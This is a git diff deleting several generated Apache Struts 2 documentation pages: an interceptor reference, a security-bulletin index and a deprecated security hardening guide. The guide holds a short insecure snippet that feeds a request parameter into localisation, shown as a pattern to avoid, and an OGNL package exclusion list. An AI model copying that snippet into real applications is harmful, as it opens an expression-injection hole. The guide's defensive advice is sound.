-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26355">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26355">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26355">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>An interceptor that enables scoped model-driven actions.</p>
-
-<p></p><p>This interceptor only activates on actions that implement the ScopedModelDriven interface.  If
-detected, it will retrieve the model class from the configured scope, then provide it to the Action.</p>
-
-
-<h2 id="ScopedModelDrivenInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>className - The model class name.  Defaults to the class name of the object returned by the getModel() method.</li></ul><p></p><ul><li>name - The key to use when storing or retrieving the instance in a scope.  Defaults to the model
-           class name.</li></ul><p></p><ul><li>scope - The scope to store and retrieve the model.  Defaults to 'request' but can also be 'session'.</li></ul>
-
-
-<h2 id="ScopedModelDrivenInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p>There are no known extension points for this interceptor.</p>
-
-
-<h2 id="ScopedModelDrivenInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;-- Basic usage --&gt;
-&lt;interceptor name=&quot;scopedModelDriven&quot; class=&quot;com.opensymphony.interceptor.ScopedModelDrivenInterceptor&quot; /&gt;
-
-&lt;-- Using all available parameters --&gt;
-&lt;interceptor name=&quot;gangsterForm&quot; class=&quot;com.opensymphony.interceptor.ScopedModelDrivenInterceptor&quot;&gt;
-     &lt;param name=&quot;scope&quot;&gt;session&lt;/param&gt;
-     &lt;param name=&quot;name&quot;&gt;gangsterForm&lt;/param&gt;
-     &lt;param name=&quot;className&quot;&gt;com.opensymphony.example.GangsterForm&lt;/param&gt;
- &lt;/interceptor&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/security-bulletins.html b/content/docs/security-bulletins.html
deleted file mode 100644
index 13d770a..0000000
--- a/content/docs/security-bulletins.html
+++ /dev/null
@@ -1,307 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Security Bulletins</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Security Bulletins</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61758">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61758">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61758">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The following security bulletins are available:</p>
-<ul class="childpages-macro"><li><a shape="rect" href="s2-001.html">S2-001</a> &#8212; <span class="smalltext">Remote code exploit on form validation error</span></li><li><a shape="rect" href="s2-002.html">S2-002</a> &#8212; <span class="smalltext">Cross site scripting (XSS) vulnerability on &lt;s:url&gt; and &lt;s:a&gt; tags</span></li><li><a shape="rect" href="s2-003.html">S2-003</a> &#8212; <span class="smalltext">XWork ParameterInterceptors bypass allows OGNL statement execution</spa [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/security.html b/content/docs/security.html
deleted file mode 100644
index 51dd3aa..0000000
--- a/content/docs/security.html
+++ /dev/null
@@ -1,247 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Security</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="security.html">Security</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Security</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34024409">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34024409">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34024409">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34024409">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34024409">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34024409">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>THIS PAGE IS DEPRECATED, PLEASE FOLLOW THE LINK TO THE NEW SECURITY GUIDE!</p><p><a shape="rect" class="external-link" href="http://struts.apache.org/security/">http://struts.apache.org/security/</a></p></div></div><p><style  [...]
-div.rbtoc1499445551353 {padding: 0px;}
-div.rbtoc1499445551353 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1499445551353 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1499445551353">
-<ul class="toc-indentation"><li><a shape="rect" href="#Security-Securitytips">Security tips</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#Security-RestrictaccesstotheConfigBrowser">Restrict access to the Config Browser</a></li><li><a shape="rect" href="#Security-Don'tmixdifferentaccesslevelsinthesamenamespace">Don't mix different access levels in the same namespace</a></li><li><a shape="rect" href="#Security-NeverexposeJSPfilesdirectly">Never expose JSP files directly</a></li><li><a shape="rect" href="#Security-DisabledevMode">Disable devMode</a></li><li><a shape="rect [...]
-</li><li><a shape="rect" href="#Security-Internalsecuritymechanism">Internal security mechanism</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#Security-Accessingstaticmethods">Accessing static methods</a></li><li><a shape="rect" href="#Security-OGNLisusedtocallaction'smethods">OGNL is used to call action's methods</a></li><li><a shape="rect" href="#Security-Accepted/Excludedpatterns">Accepted / Excluded patterns</a></li><li><a shape="rect" href="#Security-StrictMethodInvocation">Strict Method Invocation</a></li></ul>
-</li></ul>
-</div><h3 id="Security-Securitytips">Security tips</h3><p>The Apache Struts 2 doesn't provide any security mechanism - it is just a pure web framework. Below are few tips you should consider during application development with the Apache Struts 2.</p><h4 id="Security-RestrictaccesstotheConfigBrowser">Restrict access to the Config Browser</h4><p><a shape="rect" href="config-browser-plugin.html">Config Browser Plugin</a>&#160;exposes internal configuration and should be used only during de [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">    &lt;security-constraint&gt;
-        &lt;web-resource-collection&gt;
-            &lt;web-resource-name&gt;admin&lt;/web-resource-name&gt;
-            &lt;url-pattern&gt;/secure/*&lt;/url-pattern&gt;
-        &lt;/web-resource-collection&gt;
-        &lt;auth-constraint&gt;
-            &lt;role-name&gt;admin&lt;/role-name&gt;
-        &lt;/auth-constraint&gt;
-    &lt;/security-constraint&gt;
-</pre>
-</div></div><h4 id="Security-NeverexposeJSPfilesdirectly">Never expose JSP files directly</h4><p>You must always hide JSP file behind an action, you cannot allow for direct access to the JSP files as this can leads to unpredictable security vulnerabilities. You can achieve this by putting all your JSP files under the&#160;<code>WEB-INF</code> folder - most of the JEE containers restrict access to files placed under the&#160;<code>WEB-INF</code> folder. Second option is to add security co [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!-- Restricts access to pure JSP files - access available only via Struts action --&gt;
-&lt;security-constraint&gt;
-    &lt;display-name&gt;No direct JSP access&lt;/display-name&gt;
-    &lt;web-resource-collection&gt;
-        &lt;web-resource-name&gt;No-JSP&lt;/web-resource-name&gt;
-        &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt;
-    &lt;/web-resource-collection&gt;
-    &lt;auth-constraint&gt;
-        &lt;role-name&gt;no-users&lt;/role-name&gt;
-    &lt;/auth-constraint&gt;
-&lt;/security-constraint&gt;
-
-&lt;security-role&gt;
-    &lt;description&gt;Don't assign users to this role&lt;/description&gt;
-    &lt;role-name&gt;no-users&lt;/role-name&gt;
-&lt;/security-role&gt;</pre>
-</div></div><p>The best approach is to used the both solutions.</p><h4 id="Security-DisabledevMode">Disable devMode</h4><p>The&#160;<code style="line-height: 1.4285715;">devMode</code> is a very useful option during development time, allowing for deep introspection and debugging into you app.</p><p>However, in production it exposes your application to be presenting too many informations on application's internals or to evaluating risky parameter expressions.&#160;Please&#160;<strong>alwa [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;Configuration&gt;
-    &lt;Appenders&gt;
-        &lt;Console name="STDOUT" target="SYSTEM_OUT"&gt;
-            &lt;PatternLayout pattern="%d %-5p [%t] %C{2} (%F:%L) - %m%n"/&gt;
-        &lt;/Console&gt;
-    &lt;/Appenders&gt;
-    &lt;Loggers&gt;
-        &lt;Logger name="com.opensymphony.xwork2" level="warn"/&gt;
-        &lt;Logger name="org.apache.struts2" level="warn"/&gt;
-        &lt;Root level="info"&gt;
-            &lt;AppenderRef ref="STDOUT"/&gt;
-        &lt;/Root&gt;
-    &lt;/Loggers&gt;
-&lt;/Configuration&gt;</pre>
-</div></div><h4 id="Security-UseUTF-8encoding">Use UTF-8 encoding</h4><p>Always use&#160;<code>UTF-8</code> encoding when building an application with the Apache Struts 2, when using JSPs please add the following header to each JSP file</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ page contentType="text/html; charset=UTF-8" %&gt;</pre>
-</div></div><h4 id="Security-Donotdefinesetterswhennotneeded">Do not define setters when not needed</h4><p>You should carefully design your actions without exposing anything via setters and getters, thus can leads to potential security vulnerabilities. Any action's setter can be used to set incoming untrusted user's value which can contain suspicious expression. Some Struts&#160;<code>Result</code>s automatically populate params based on values in&#160;<code>ValueStack</code> (action in  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public String execute() throws Exception {
-    setMessage(getText(getMessage()));
-    return SUCCESS;
-}</pre>
-</div></div><p>Never use value of incoming request parameter as part of your localisation logic.</p><h3 id="Security-Internalsecuritymechanism">Internal security mechanism</h3><p>The Apache Struts 2 contains internal security manager which blocks access to particular classes and Java packages - it's a OGNL-wide mechanism which means it affects any aspect of the framework ie. incoming parameters, expressions used in JSPs, etc.</p><p>There are three options that can be used to configure ex [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.excludedClasses"
-          value="com.opensymphony.xwork2.ActionContext" /&gt;
-
-&lt;!-- this must be valid regex, each '.' in package name must be escaped! --&gt;
-&lt;!-- it's more flexible but slower than simple string comparison --&gt;
-&lt;!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / --&gt;
-
-&lt;!-- this is simpler version of the above used with string comparison --&gt;
-&lt;constant name="struts.excludedPackageNames" value="java.lang,ognl,javax" /&gt;</pre>
-</div></div><p>Any expression or target which evaluates to one of these will be blocked and you see a WARN in logs:</p><div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>[WARNING] Target class [class example.MyBean] or declaring class of member type [public example.MyBean()] are excluded!</pre>
-</div></div><p>In that case&#160;<code>new MyBean()</code> was used to create a new instance of class (inside JSP) - it's blocked because&#160;<code>target</code> of such expression is evaluated to&#160;<code>java.lang.Class</code></p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>It is possible to redefine the  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class RealAction extends BaseAction {  
-    @Action("save")
-    public String save() throws Exception {
-        super.save();
-        return SUCCESS;
-    }
-}    
-&#160;
-public class BaseAction extends AbstractAction {
-    public String save() throws Exception {
-        save(Double.MAX_VALUE);
-        return SUCCESS;
-    }
-}
-&#160;
-public abstract class AbstractAction extends ActionSupport {
-    protected void save(Double val) {
-        // some logic
-    }
-}</pre>
-</div></div><p>In such case OGNL cannot properly map which method to call when request is coming. This is do the OGNL limitation. To solve the problem don't use the same method's names through the hierarchy, you can simply change the action's method from&#160;<code>save()</code> to&#160;<code>saveAction()</code>&#160;and leaving annotation as is to allow&#160;<span style="line-height: 1.4285715;">call this action via&#160;</span><code style="line-height: 1.4285715;">/save.action</code><s [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/select.html b/content/docs/select.html
deleted file mode 100644
index d935562..0000000
--- a/content/docs/select.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
